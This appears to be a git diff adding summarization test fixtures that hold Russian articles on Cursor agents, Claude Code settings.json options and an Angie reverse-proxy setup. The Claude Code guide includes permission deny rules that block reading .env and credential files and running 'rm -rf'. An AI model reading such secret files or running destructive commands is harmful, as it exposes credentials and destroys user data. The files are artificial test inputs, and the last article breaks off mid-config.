«@Cursor». Узнайте больше в документации. Debug Mode для сложных багов Когда стандартное взаимодействие с агентом не помогает разобраться с багом, на помощь приходит Debug Mode — он предлагает иной подход. Вместо угадывания исправлений Debug Mode: Формулирует несколько гипотез о возможной причине проблемы; Добавляет в код логирование; Просит вас воспроизвести баг, одновременно собирая данные выполнения; Анализирует фактическое поведение, чтобы точно определить первопричину; Вносит точечные правки, основанные на полученных данных. Лучше всего это работает для: багов, которые воспроизводятся, но причину которых сложно понять; race condition и проблем, связанных с таймингами; проблем с производительностью и утечек памяти; регрессий, когда что-то раньше работало, а теперь нет. Ключевой момент — предоставить как можно более подробный контекст воспроизведения проблемы. Чем точнее вы опишете шаги, тем полезнее будет инструментирование, которое добавит агент. Развитие собственного рабочего процесса Разработчиков, которые получают от агентов максимум пользы, объединяют несколько качеств: Они пишут конкретные запросы. Успешность агента заметно растёт при чётких инструкциях. Сравните «добавь тесты для auth.ts» и «написать тест для auth.ts, покрывающий крайний случай с logout, используя паттерны из tests/ и без моков». Они итеративно настраивают окружение. Начинайте с простого. Добавляйте rules только тогда, когда замечаете, что агент регулярно повторяет одну и ту же ошибку. Добавляйте команды лишь после того, как сформировался рабочий процесс, который вы хотите переиспользовать. Не стоит переоптимизировать до того, как вы поймёте свои паттерны. Они внимательно делают ревью. Код, сгенерированный ИИ, может выглядеть правильным, оставаясь при этом subtly неверным. Читайте diff’ы и проверяйте изменения тщательно. Чем быстрее работает агент, тем важнее становится процесс ревью. Они задают проверяемые цели. Агенты не могут исправить то, о чём не знают. Используйте типизированные языки, настраивайте линтеры и пишите тесты. Давайте агенту чёткие сигналы о том, корректны ли изменения. Они относятся к агентам как к компетентным напарникам. Просите планы, запрашивайте объяснения, спорьте с подходами, которые вам не нравятся. Агенты развиваются очень быстро. Хотя паттерны будут меняться с появлением новых моделей, мы надеемся, что это руководство поможет вам быть продуктивнее уже сегодня при работе с агентами для программирования. Начните работать с агентом Cursor, чтобы попробовать эти приёмы на практике. Русскоязычное сообщество про AI в разработке Друзья! Эту статью подготовила команда ТГК «AI for Devs» — канала, где мы рассказываем про AI-ассистентов, плагины для IDE, делимся практическими кейсами и свежими новостями из мира ИИ. Подписывайтесь, чтобы быть в курсе и ничего не упустить! +============== diff --git a/tests/summarization/https___habr.com_ru_articles_987826_.txt b/tests/summarization/https___habr.com_ru_articles_987826_.txt new file mode 100644 index 0000000..ba2afca --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_987826_.txt @@ -0,0 +1,12 @@ +Полный справочник settings.json с ранжированием по полезности: от "почему я не знал об этом раньше" до "пригодится раз в год". 6 настроек, которые реально меняют workflow Tier 1 (обязательно к настройке): { "plansDirectory": "./docs/plans", "enableAllProjectMcpServers": true, "permissions": { "allow": ["Bash(npm:*)", "Bash(git:*)", "Edit(src/**)"], "deny": ["Read(.env*)"] }, "env": { "ENABLE_TOOL_SEARCH": "auto:5" } } Объяснить код с Что это даёт: Планы сохраняются в проекте, а не в ~/.claude/plans (можно коммитить!) MCP серверы включаются автоматически без запросов npm/git/редактирование src — без подтверждений .env файлы защищены от чтения MCP инструменты грузятся лениво → экономия 90% токенов Актуально для: Claude Code 2.1.12 (январь 2026) Кто я и почему это важно Игорь Масленников, в IT с 2013 года, последние 2 года развиваю AI Dev Team в DNA IT. У нас 3 человека + 44 AI-агента выполняют работу ~20 специалистов. Стоимость -80%, время разработки с 2-3 месяцев до 1-2 недель. Развиваю Claude Code Orchestrator Kit — open-source набор из 44 агентов, 20+ команд, 30+ скиллов для Claude Code. Проблема: За 2 года работы с Claude Code я понял, что большинство разработчиков используют его "из коробки". Не настраивают permissions, не знают про hooks, не используют MCP Tool Search. А потом жалуются на "тупой AI, который постоянно спрашивает подтверждения". Решение: Я собрал все настройки из официальной документации, CHANGELOG и своего опыта в один структурированный справочник. С ранжированием по полезности — чтобы вы знали, что настроить в первую очередь. Как устроен settings.json Приоритет настроек Claude Code читает настройки из нескольких файлов. Если одна и та же настройка указана в разных местах, побеждает файл с более высоким приоритетом: Приоритет Scope Файл Когда использовать 🔴 Высший Managed (IT) /etc/claude-code/managed-settings.json Корпоративные политики 🟠 Высокий Local (личный) .claude/settings.local.json Персональные настройки (не в git) 🟡 Средний Project (команда) .claude/settings.json Настройки проекта (в git) 🟢 Низший User (глобальный) ~/.claude/settings.json Дефолты для всех проектов Типичный паттерн: .claude/settings.json — в git, общие для команды .claude/settings.local.json — в .gitignore, персональные Tier 1: Критически полезные Эти настройки реально меняют рабочий процесс. Если вы их не используете — вы теряете время. plansDirectory { "plansDirectory": "./docs/plans" } Объяснить код с Что делает: Куда сохраняются планы при использовании Plan Mode (Shift+Tab → Plan). По умолчанию: ~/.claude/plans — файлы теряются в домашней директории, нельзя закоммитить. Почему важно: Планы — это артефакты работы. Я использую их для: Code review (коллеги видят, что Claude планировал сделать) Документации (планы становятся частью ADR) Отката (если что-то пошло не так, смотрю план и понимаю логику) Моя конфигурация: { "plansDirectory": "./docs/plans" } Объяснить код с Теперь все планы в git, рядом с кодом. env.ENABLE_TOOL_SEARCH { "env": { "ENABLE_TOOL_SEARCH": "auto:5" } } Объяснить код с Что делает: Активирует ленивую загрузку MCP инструментов вместо загрузки всех сразу. Почему важно: У меня 6 MCP серверов (~82,000 токенов). Без Tool Search они все грузятся при старте. С Tool Search — только ~5,700 токенов baseline + по требованию. Значение Поведение auto Активируется при >10% контекста заняты MCP auto:N Активируется при >N% контекста true Всегда включен false Выключен Результат: ДО: 143k использовано → 57k свободно +ПОСЛЕ: 67k использовано → 133k свободно +Экономия: +76k токенов (+133% к рабочему пространству) + Объяснить код с Подробнее писал в статье про MCP Tool Search. permissions.allow / deny { "permissions": { "allow": [ "Bash(npm run:*)", "Bash(pnpm:*)", "Bash(git:*)", "Edit(src/**)" ], "deny": [ "Read(.env*)", "Bash(rm -rf:*)" ] } } Объяснить код с Что делает: Автоматически разрешает (allow) или запрещает (deny) операции без запроса. Почему важно: Без этого Claude каждый раз спрашивает: Claude wants to run: npm run build +Allow? [Y/n] + Объяснить код с Умножьте на 50 раз в день — и вы поймёте, зачем нужен allow list. Паттерны: Bash(npm:*) — любые npm команды Bash(git:*) — любые git команды Edit(src/**) — редактирование файлов в src/ Read(.env*) — чтение .env файлов (запретить!) mcp__supabase__* — все инструменты supabase MCP (v2.1.x) Моя конфигурация: { "permissions": { "allow": [ "Bash(pnpm:*)", "Bash(npm:*)", "Bash(git:*)", "Bash(bd:*)" ], "deny": [ "Read(.env*)", "Read(**/credentials*)", "Bash(rm -rf:*)" ] } } Объяснить код с bd — это мой алиас для скриптов автоматизации. enableAllProjectMcpServers { "enableAllProjectMcpServers": true } Объяснить код с Что делает: Автоматически разрешает все MCP серверы из .mcp.json. По умолчанию: Claude спрашивает разрешение на каждый сервер при старте: Enable MCP server 'supabase'? [Y/n] +Enable MCP server 'playwright'? [Y/n] +Enable MCP server 'context7'? [Y/n] +... + Объяснить код с С enableAllProjectMcpServers: Loading MCP servers: context7, supabase, playwright, shadcn ✓ + Объяснить код с Важно: Включайте только если доверяете MCP серверам в проекте. Для open-source проектов с чужими .mcp.json — лучше оставить false. model { "model": "claude-sonnet-4-20250514" } Объяснить код с Что делает: Переопределяет модель по умолчанию. Когда использовать: Фиксируете версию модели для воспроизводимости Используете Sonnet для рутинных задач (дешевле) Тестируете новую модель Доступные модели (январь 2026): claude-opus-4-5-20251101 — самая мощная claude-sonnet-4-20250514 — баланс скорость/качество claude-haiku-4-20250514 — быстрая и дешёвая alwaysThinkingEnabled { "alwaysThinkingEnabled": true } Объяснить код с Что делает: Включает Extended Thinking по умолчанию для всех сессий. Что такое Extended Thinking: Claude "думает вслух" перед ответом. Занимает больше токенов, но улучшает качество сложных задач (архитектура, дебаг, рефакторинг). Когда включать: Работаете над сложной архитектурой Отлаживаете неочевидные баги Нужен глубокий анализ кода Когда НЕ включать: Рутинные задачи (создание файлов, простые фиксы) Ограниченный бюджет токенов Tier 2: Очень полезные Эти настройки не критичны, но заметно улучшают опыт работы. language { "language": "russian" } Объяснить код с Что делает: Claude отвечает на указанном языке. Почему важно: Без этого Claude отвечает на английском. Приходится писать "отвечай на русском" в каждом промпте. Поддерживаемые языки: Практически любой. Claude определяет по названию: russian, german, spanish, chinese, etc. autoUpdatesChannel { "autoUpdatesChannel": "stable" } Объяснить код с Что делает: Выбирает канал обновлений. Значение Поведение latest Последняя версия (default) — новые фичи, возможные баги stable Версия недельной давности — проверено, стабильно Моя рекомендация: stable для продакшн проектов, latest для экспериментов. permissions.defaultMode { "permissions": { "defaultMode": "acceptEdits" } } Объяснить код с Что делает: Режим разрешений при старте сессии. Значение Поведение default Спрашивает разрешения на всё acceptEdits Автоматически принимает редактирования файлов bypassPermissions Пропускает ВСЕ запросы (опасно!) acceptEdits — хороший баланс: Claude может редактировать код без подтверждений, но bash команды всё ещё требуют approval. permissions.additionalDirectories { "permissions": { "additionalDirectories": ["/home/me/shared-libs", "/home/me/docs"] } } Объяснить код с Что делает: Даёт Claude доступ к директориям вне текущего проекта. Когда нужно: Монорепозиторий с shared библиотеками Документация в отдельной папке Конфиги в ~/.config/ hooks { "hooks": { "SessionStart": [ { "matcher": "", "hooks": [{ "type": "command", "command": "npm run prepare" }] } ], "Stop": [ { "matcher": "", "hooks": [{ "type": "command", "command": "npm run cleanup" }] } ] } } Объяснить код с Что делает: Выполняет команды на события Claude Code. Доступные события: Событие Когда срабатывает SessionStart Старт сессии SessionEnd Конец сессии Stop / SubagentStop Остановка основного агента / субагента PreToolUse / PostToolUse До/после использования инструмента PreCompact Перед компактификацией контекста UserPromptSubmit Отправка промпта пользователем Setup При claude --init, --init-only, --maintenance (v2.1.x) Пример: Прогрев кэша при старте { "hooks": { "SessionStart": [ { "matcher": "", "hooks": [{ "type": "command", "command": "bd prime", "once": true }] } ] } } Объяснить код с once: true — выполнить только один раз за сессию (v2.1.x). enabledMcpjsonServers { "enabledMcpjsonServers": ["context7", "supabase", "playwright"] } Объяснить код с Что делает: Выборочно включает только указанные MCP серверы из .mcp.json. Когда использовать: В .mcp.json 10 серверов, но для текущей задачи нужны только 3. Альтернатива: Использовать enableAllProjectMcpServers: true + полагаться на Tool Search (ленивая загрузка). Tier 3: Полезные Настройки для специфических сценариев. Не обязательны, но пригодятся. attribution.commit / attribution.pr { "attribution": { "commit": "Co-Authored-By: Claude ", "pr": "" } } Объяснить код с Что делает: Настраивает атрибуцию в коммитах и PR. Пустая строка = отключить: { "attribution": { "commit": "", "pr": "" } } Объяснить код с Я оставляю co-authored-by — честность перед коллегами. cleanupPeriodDays { "cleanupPeriodDays": 7 } Объяснить код с Что делает: Через сколько дней удалять неактивные сессии. По умолчанию: 30 дней. Если работаете интенсивно — можно уменьшить до 7-14. sandbox { "sandbox": { "enabled": true, "autoAllowBashIfSandboxed": true } } Объяснить код с Что делает: Песочница для bash команд (macOS/Linux). autoAllowBashIfSandboxed: true — если песочница включена, bash команды выполняются без подтверждений. Логика: песочница ограничивает ущерб, поэтому можно доверять. env.CLAUDE_AUTOCOMPACT_PCT_OVERRIDE { "env": { "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE": "80" } } Объяснить код с Что делает: При каком % заполнения контекста запускать auto-compaction. По умолчанию: ~90%. При 80% — compaction запустится раньше, потеряете меньше контекста при переполнении. env.MAX_THINKING_TOKENS { "env": { "MAX_THINKING_TOKENS": "50000" } } Объяснить код с Что делает: Бюджет токенов для Extended Thinking. Когда увеличивать: Сложные задачи требуют больше "размышлений". Но помните — это стоит денег. env.CLAUDE_CODE_MAX_OUTPUT_TOKENS { "env": { "CLAUDE_CODE_MAX_OUTPUT_TOKENS": "32000" } } Объяснить код с Что делает: Максимум токенов на один ответ Claude. По умолчанию: Зависит от модели. Максимум: 64000. Когда увеличивать: Генерация больших файлов, длинных документов. env.CLAUDE_CODE_SUBAGENT_MODEL { "env": { "CLAUDE_CODE_SUBAGENT_MODEL": "claude-sonnet-4-20250514" } } Объяснить код с Что делает: Модель для субагентов (Task tool). Паттерн: Основной агент на Opus (качество), субагенты на Sonnet (экономия). Tier 4: Ситуационно полезные Эти настройки нужны в редких случаях, но когда нужны — очень нужны. respectGitignore { "respectGitignore": false } Объяснить код с Что делает: Учитывать ли .gitignore в @ file picker. По умолчанию: true. Файлы из .gitignore не показываются в автокомплите. Когда отключать: Нужен доступ к файлам в .gitignore (логи, кэш, временные файлы). Визуальные настройки { "showTurnDuration": false, "spinnerTipsEnabled": false, "terminalProgressBarEnabled": false } Объяснить код с Настройка По умолчанию Что отключает showTurnDuration true "Cooked for 1m 6s" spinnerTipsEnabled true Tips в спиннере terminalProgressBarEnabled true Progress bar Отключаю spinnerTipsEnabled — раздражает. statusLine { "statusLine": { "type": "command", "command": "/path/to/status-script.sh" } } Объяснить код с Что делает: Кастомная строка статуса. Пример скрипта: #!/bin/bash echo "$(git branch --show-current) | $(date +%H:%M)" Объяснить код с Таймауты { "env": { "BASH_DEFAULT_TIMEOUT_MS": "300000", "BASH_MAX_TIMEOUT_MS": "600000", "MCP_TIMEOUT": "60000", "MCP_TOOL_TIMEOUT": "120000" } } Объяснить код с Переменная По умолчанию Что контролирует BASH_DEFAULT_TIMEOUT_MS 120000 (2 мин) Таймаут bash по умолчанию BASH_MAX_TIMEOUT_MS 600000 (10 мин) Максимальный таймаут bash MCP_TIMEOUT 30000 Таймаут подключения к MCP MCP_TOOL_TIMEOUT 60000 Таймаут выполнения MCP tool Когда увеличивать: Долгие сборки (npm run build на большом проекте) Тяжёлые MCP операции (playwright тесты) env.MAX_MCP_OUTPUT_TOKENS { "env": { "MAX_MCP_OUTPUT_TOKENS": "50000" } } Объяснить код с По умолчанию: 25000. Максимум токенов в ответах MCP. Когда увеличивать: MCP возвращает большие ответы (playwright screenshots, длинные логи). Tier 5: Enterprise / Специфические Для корпоративных сценариев или очень специфических задач. API и аутентификация { "env": { "ANTHROPIC_API_KEY": "sk-...", "CLAUDE_CODE_USE_BEDROCK": "1", "CLAUDE_CODE_USE_VERTEX": "1" } } Объяснить код с Когда нужно: Собственный API ключ (вместо подписки) AWS Bedrock / Google Vertex AI провайдеры apiKeyHelper { "apiKeyHelper": "/path/to/get-api-key.sh" } Объяснить код с Что делает: Скрипт для динамического получения API ключа. Пример: Интеграция с AWS Secrets Manager, HashiCorp Vault. Proxy настройки { "env": { "HTTP_PROXY": "http://proxy:8080", "HTTPS_PROXY": "http://proxy:8080", "NO_PROXY": "localhost,127.0.0.1" } } Объяснить код с Для корпоративных сетей с прокси. companyAnnouncements { "companyAnnouncements": [ "Не забудьте обновить документацию!", "Код-ревью обязателен для всех PR" ] } Объяснить код с Что делает: Показывает случайное объявление при старте сессии. Для: IT-отделов, которые хотят напоминать разработчикам о политиках. Отключение функций { "env": { "DISABLE_TELEMETRY": "1", "DISABLE_ERROR_REPORTING": "1", "DISABLE_AUTOUPDATER": "1", "DISABLE_COST_WARNINGS": "1", "DISABLE_NON_ESSENTIAL_MODEL_CALLS": "1", "DISABLE_PROMPT_CACHING": "1" } } Объяснить код с Переменная Что отключает DISABLE_TELEMETRY Телеметрия DISABLE_ERROR_REPORTING Отправка ошибок DISABLE_AUTOUPDATER Автообновления DISABLE_COST_WARNINGS Предупреждения о стоимости DISABLE_NON_ESSENTIAL_MODEL_CALLS Неосновные вызовы API DISABLE_PROMPT_CACHING Кэширование промптов Для: Параноиков, airgapped сред, экономии трафика. env.CLAUDE_CODE_HIDE_ACCOUNT_INFO { "env": { "CLAUDE_CODE_HIDE_ACCOUNT_INFO": "1" } } Объяснить код с Что делает: Скрывает email и организацию в UI. Для: Стримеров, демонстраций, скриншотов. Новое в v2.1.x (январь 2026) Hook event: Setup { "hooks": { "Setup": [ { "matcher": "", "hooks": [{ "type": "command", "command": "npm install" }] } ] } } Объяснить код с Запускается при claude --init, --init-only, --maintenance. Hooks: once: true { "hooks": { "SessionStart": [ { "matcher": "", "hooks": [{ "type": "command", "command": "bd prime", "once": true }] } ] } } Объяснить код с Выполнить хук только один раз за сессию. Wildcard MCP permissions { "permissions": { "allow": ["mcp__supabase__*"], "deny": ["mcp__filesystem__*"] } } Объяснить код с Разрешить/запретить все инструменты MCP сервера одной строкой. CLI: --tools claude --tools Read,Write,Bash Объяснить код с Ограничить доступные инструменты в сессии. Полный пример settings.json { "plansDirectory": "./docs/plans", "language": "russian", "alwaysThinkingEnabled": false, "enableAllProjectMcpServers": true, "autoUpdatesChannel": "stable", "cleanupPeriodDays": 14, "permissions": { "allow": [ "Bash(pnpm:*)", "Bash(npm:*)", "Bash(git:*)", "Bash(bd:*)", "mcp__context7__*" ], "deny": [ "Read(.env*)", "Read(**/credentials*)", "Bash(rm -rf:*)" ], "defaultMode": "acceptEdits" }, "attribution": { "commit": "Co-Authored-By: Claude ", "pr": "" }, "env": { "ENABLE_TOOL_SEARCH": "auto:5", "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE": "85", "MAX_MCP_OUTPUT_TOKENS": "30000" }, "hooks": { "SessionStart": [ { "matcher": "", "hooks": [{ "type": "command", "command": "bd prime", "once": true }] } ] } } Объяснить код с Статистика: До и После Метрика Без настройки С настройкой Запросов "Allow?" за сессию ~50 0-5 Контекст при старте 143K (72%) 67K (34%) Планы в git ❌ ✅ MCP без вопросов ❌ ✅ .env защищены ❌ ✅ Где взять Все конфигурации — в open-source проекте Claude Code Orchestrator Kit: Репозиторий: github.com/igormaslennikov-io/claude-code-orchestrator-kit Лицензия: MIT (бесплатно, можно использовать в коммерческих проектах) Я понимаю, что кто-то скажет: "Это просто пересказ документации" или "Зачем это, если есть официальные доки". Моё мнение: Официальная документация — это справочник, а не руководство к действию. Она говорит "что есть", а не "что важно". Ранжирование по полезности — это моя экспертиза после 2 лет работы с Claude Code и 44 агентов в продакшене. Примеры из практики — это то, чего не хватает в официальных доках. Если не согласны — окей. Попробуйте настройки, потом скажите, где я ошибаюсь. Контакты Автор: Игорь Масленников Пишу про AI-агентов, LLM-архитектуру и автоматизацию разработки. 📢 Мой канал в Telegram: @maslennikovigor 💬 Личный контакт: @maslennikovig — для вопросов, идей и обратной связи. 🔧 GitHub: claude-code-orchestrator-kit — open-source инструменты для AI-автоматизации. Если попробуете настройки — напишите, что сработало, что нет. Буду рад фидбеку. Ссылки Официальная документация Claude Code Settings MCP конфигурация GitHub CHANGELOG А какие настройки используете вы? Делитесь в комментариях — интересно узнать, что ещё можно оптимизировать. +============== diff --git a/tests/summarization/https___habr.com_ru_articles_987848_.txt b/tests/summarization/https___habr.com_ru_articles_987848_.txt new file mode 100644 index 0000000..2844451 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_987848_.txt @@ -0,0 +1,218 @@ +Инструкция предоставляет базовую конфигурацию для удобного управления проксированием серверов с помощью Angie. Angie — современный веб-сервер, созданный бывшими разработчиками nginx с открытым исходным кодом (лицензия BSD). Он сочетает проверенную архитектуру nginx с новыми возможностями: ✅ Поддержка HTTP/3 (клиент ↔ сервер независимо) ✅ Встроенный Docker-модуль для автоматического управления сервисами ✅ ACME-клиент — автоматическое получение TLS-сертификатов ✅ REST API + Prometheus — мониторинг и метрики ✅ Console Light — веб-интерфейс для наблюдения за сервером ✅ Легковесность, высокая производительность, минималистичная конфигурация Мы используем Angie только как обратный прокси — без хостинга файлов. Вместо того чтобы: Открывать десятки портов Давать пользователям прямой доступ к сервисам Управлять сертификатами вручную Обратный прокси: два уровня инфраструктуры 1. Базовое проксирование (Стандарт) Принимает весь трафик на порт 443, распределяет запросы по сервисам (например, site1.example.com → сервер А, site2.example.com → сервер Б). Скрывает внутреннюю архитектуру, централизует SSL и защиту. 2. Прокси как шлюз доступа IP-фильтрация (просто): Пользователи обращаются только к IP прокси через порт 443. Пример: finance.example.com доступен с IP 192.168.1.10 и 192.168.1.20. admin.example.com — с IP 10.0.0.5. SSO (гибко): Единый вход через CASdoor + Angie: пользователь получает доступ только к тем сервисам в изолированном VLAN, на которые у него есть права. Преимущества: Для сервисов в одном VLAN не нужны отдельные сетевые правила для пользователей из других VLAN. Достаточно открыть один порт 443 до прокси — фильтрация и SSO (через CASdoor или аналоги) настраиваются централизованно. Итог: Прокси обеспечивает базовую безопасность (уровень 1) и заменяет сложные ACL единым шлюзом для доступа к сервисам в VLAN (уровень 2). Мы создаём единую точку входа: 🔒 Только порт 443 открыт наружу 🌐 Все сервисы доступны по поддоменам (grafana.test, whoami.test) 🛡️ Вся инфраструктура изолирована в Docker-сетях 🔄 Новые сервисы добавляются автоматически через лейблы Три способа проксирования Способ Особенности 1. С хоста proxy_pass http://192.168.88.7:8080 2. Через Docker DNS proxy_pass http://whoami; 3. Через Docker-модуль Управление через лейблы в yaml, - "angie.http.upstreams.docker_dmodulwhoami.port=80" 📁 Структура каталогов front-proxy/ # Основной каталог прокси +├── angie.conf # Главный конфиг Angie +├── compose.yaml # Docker Compose для Angie + Docker Socket Proxy +├── conf.d/ # Общие настройки: proxy, security, limits +├── genloc/ # Общие location-правила (favicon, robots.txt и т.д.) +├── http.d/ # Server-блоки для каждого сервиса +└── ssl/ # TLS-сертификаты (локальные или ACME) + +# Тестовые сервисы (для демонстрации трёх способов проксирования) +hostwhoami/ # Способ 1: проксирование с хоста +└── hostwhoami.yaml +dockerwhoami/ # Способ 2: через Docker DNS +└── dockerwhoami.yaml +dmodulwhoami/ # Способ 3: через Docker-модуль +└── dmodulwhoami.yaml + Объяснить код с Главный конфиг Angie vim angie.conf + Объяснить код с # Автоматическое количество рабочих процессов (по числу CPU) +worker_processes auto; + +# Увеличенный лимит открытых файловых дескрипторов на процесс +worker_rlimit_nofile 65535; + +events { + # Разрешить приёму одного worker'а нескольких соединений за раз + multi_accept on; + + # Максимальное число одновременных соединений на worker + worker_connections 65535; +} + +http { + #Подключение к Docker API через proxy + docker_endpoint http://docker-socket-proxy:2375; + + # Максимальный размер буфера для ответов Docker API + # (достаточно для ~50 контейнеров; увеличить при большом количестве) + docker_max_object_size 128k; + + # Кодировка по умолчанию + charset utf-8; + + # Оптимизации передачи файлов + sendfile on; # Использовать системный вызов sendfile() + tcp_nopush on; # Отправлять заголовки целиком + tcp_nodelay on; # Отключить алгоритм Нейгла для интерактивных соединений + + # Безопасность: скрыть версию сервера + server_tokens off; + + # Не логировать ошибки 404 + log_not_found off; + + # Увеличенный размер хеш-таблицы для MIME-типов + types_hash_max_size 2048; + + # Максимальный размер тела запроса от клиента + client_max_body_size 16M; + + # MIME-типы + include mime.types; + default_type application/octet-stream; + + # Логирование + access_log /var/log/angie/access.log; + error_log /var/log/angie/error.log warn; + + # Ограничение частоты запросов (защита от брутфорса) + limit_req_log_level warn; + limit_req_zone $binary_remote_addr zone=login:10m rate=10r/m; + + # Настройки SSL/TLS + ssl_session_timeout 1d; # Время жизни SSL-сессии + ssl_session_cache shared:SSL:10m; # Общая память для кэширования сессий + ssl_session_tickets off; # Отключить session tickets (безопаснее) + + # Только современный протокол TLS 1.3 + ssl_protocols TLSv1.3; + + # OCSP Stapling (требует доверенного CA) + ssl_stapling off; # Включить, если будет свой CA + ssl_stapling_verify off; # Включить, если будет свой CA + + # Общие переиспользуемые настройки (proxy, security и т.д.) + include /etc/angie/conf.d/*.conf; + + # Серверные блоки для каждого сервиса + include /etc/angie/http.d/*.conf; +} + Объяснить код с Docker Compose для Angie + Docker Socket Proxy vim compose.yaml + Объяснить код с services: + docker-socket-proxy: + # Безопасный прокси для Docker Socket — даёт Angie доступ только на чтение списка контейнеров + image: tecnativa/docker-socket-proxy:v0.4.2 + container_name: docker-socket-proxy + restart: unless-stopped + # Требуется privileged для доступа к /var/run/docker.sock в некоторых системах + privileged: true + volumes: + # Монтируем сокет только на чтение (:ro) — нельзя управлять контейнерами + - /var/run/docker.sock:/var/run/docker.sock:ro + environment: + CONTAINERS: 1 # Чтение списка контейнеров + NETWORKS: 1 # Чтение сетевых настроек (для получения IP) + EVENTS: 1 # Подписка на события (запуск/остановка контейнеров) + networks: + - front-proxy + + front-proxy: + # Основной обратный прокси-сервер + image: docker.angie.software/angie:1.11.2 + container_name: front-proxy + restart: unless-stopped + environment: + - TZ=UTC-5 + ports: + # Открываем только стандартные порты HTTP/HTTPS + - "80:80" + - "443:443" + volumes: + # Все конфиги монтируются из текущего каталога + - ./angie.conf:/etc/angie/angie.conf:ro + - ./http.d/:/etc/angie/http.d/:ro + - ./conf.d:/etc/angie/conf.d/:ro + - ./genloc:/etc/angie/genloc/:ro + - ./ssl:/etc/angie/ssl/:ro + networks: + - front-proxy # Подключаемся к той же сети, что и docker-socket-proxy + - app-net # Подключиться ко всем сетям, где есть сервисы, иначе Angie их не увидит + +networks: + front-proxy: + # Используем существующую сеть или создаём новую с заданной подсетью + name: front-proxy + external: true + app-net: + name: app-net + external: true + Объяснить код с Заглушка для первого запуска http.d/default.conf vim default.conf + Объяснить код с # Заглушка для первого запуска +# Обеспечивает минимальный server-блок, чтобы Angie запустился +# Будет обрабатывать только запросы к IP или неизвестным доменам +# Реальные сервисы должны иметь свои server-блоки с конкретными server_name + +server { + listen 80 default_server; + listen [::]:80 default_server; + + # Заглушка для неизвестных доменов + return 444; # закрывает соединение без ответа +} + Объяснить код с Запускаем и логах видно, что всё работает корректно 🛠️ Общие конфигурационные файлы Чтобы не дублировать настройки в каждом server-блоке, используем переиспользуемые фрагменты. conf.d/proxy.conf — стандартные заголовки проксирования proxy_http_version 1.1; proxy_cache_bypass $http_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; Объяснить код с proxy_http_version 1.1 — поддержка keep-alive и WebSocket Upgrade + Connection — корректная работа WebSocket и HTTP/2 X-Real-IP, X-Forwarded-* — передача оригинальных данных клиента бэкенду (без этого все запросы будут приходить «от Angie») Включается в location через include /etc/angie/conf.d/proxy.conf; conf.d/security.conf — безопасные HTTP-заголовки add_header X-Frame-Options "SAMEORIGIN" always; add_header X-XSS-Protection "1; mode=block" always; add_header X-Content-Type-Options "nosniff" always; add_header Referrer-Policy "no-referrer-when-downgrade" always; add_header Content-Security-Policy "default-src 'self' http: https: data: blob: 'unsafe-inline'" always; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; Объяснить код с Включается в server через include /etc/angie/conf.d/security.conf; genloc/general-location.conf — общие правила для всех сервисов # правила отключают логирование для служебных файлов favicon.ico и robots.txt, чтобы очистить логи, и блокируют доступ ко всем скрытым файлам (кроме .well-known) location = /favicon.ico { log_not_found off; access_log off; } location = /robots.txt { log_not_found off; access_log off; } # Запрет .файлов (кроме .well-known) location ~ /\.(?!well-known) { deny all; } Объяснить код с Включается в server через include /etc/angie/genloc/general-location.conf; 🔐 Локальный TLS-сертификат для тестовых доменов Для работы по HTTPS наши тестовые сервисы используют следующие домены: hostwhoami.test — проксирование с хоста dockerwhoami.test — проксирование через Docker DNS dmodulwhoami.test — автоматическое управление через Docker-модуль Чтобы все они работали по HTTPS, мы генерируем один wildcard-сертификат на *.test, который покрывает любой поддомен зоны .test. Сертификат использует современное шифрование: Алгоритм: ECDSA на кривой prime256v1 (P-256) — безопаснее и быстрее RSA Поддержка wildcard *.test через subjectAltName Срок действия: 10 лет Генерация сертификата Выполните в каталоге front-proxy/: mkdir -p ssl openssl req -x509 \ -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \ -days 3650 \ -nodes \ -keyout ssl/server.key \ -out ssl/server.crt \ -subj "/CN=*.test" \ -addext "subjectAltName=DNS:*.test,DNS:test" Объяснить код с ✅ Этот сертификат будет автоматически использоваться тестовыми сайтами через общие директивы в их server-блоках: ssl_certificate /etc/angie/ssl/server.crt; +ssl_certificate_key /etc/angie/ssl/server.key; + Объяснить код с 🧪 Практические примеры: два классических способа проксирования Все тестовые сервисы используют образ traefik/whoami — легковесный HTTP-сервер, который выводит информацию о запросе (IP, заголовки, метод и т.д.). 🔒 Оба способа работают по HTTPS (https://*.test) и включают: Автоматическое перенаправление с HTTP → HTTPS Безопасные заголовки Защиту от утечки .файлов Логирование ошибок в отдельный файл Не используйте proxy_pass http://имя\_контейнера; или домена напрямую! Это создаёт статический upstream, который: Требует существования контейнера/домена при старте Angie Если сервис недоступен — весь прокси не запустится Ломает динамический резолвинг для других сервисов Плохо (статический резолвинг): proxy_pass http://dockerwhoami:80; Объяснить код с Хорошо (динамический резолвинг): resolver 127.0.0.11 valid=10s; # Docker DNS set $backend dockerwhoami; proxy_pass http://$backend:80; Объяснить код с Способ 1: Проксирование сервиса, запущенного на хосте (hostwhoami/) Когда использовать: Когда бэкенд не находится в Docker-сети прокси, например: Сервис запущен на хосте (на порту 8080, 3000 и т.д.) Приложение работает на другом сервере во внутренней сети Старый сервис, который нельзя или не нужно интегрировать в Docker-сеть 💡 Поскольку порт 80 на хосте уже занят Angie, сервис запускается на порту 8080, и именно его проксирует Angie. hostwhoami/hostwhoami.yaml services: hostwhoami: image: traefik/whoami container_name: hostwhoami restart: unless-stopped ports: - "8080:80" # ← проброс 8080 хоста → 80 контейнера Объяснить код с 🔒 Контейнер не подключён к сети front-proxy — он доступен только через хостовой порт 8080. http.d/hostwhoami.conf # HTTPS-сервер для hostwhoami.test server { # Слушаем порт 443 (HTTPS) для IPv4 и IPv6 listen 443 ssl; listen [::]:443 ssl; # Включаем HTTP/2 для улучшения производительности http2 on; # Доменное имя сервиса server_name hostwhoami.test; # Пути к TLS-сертификату и приватному ключу ssl_certificate /etc/angie/ssl/server.crt; ssl_certificate_key /etc/angie/ssl/server.key; # Включаем безопасные HTTP-заголовки include 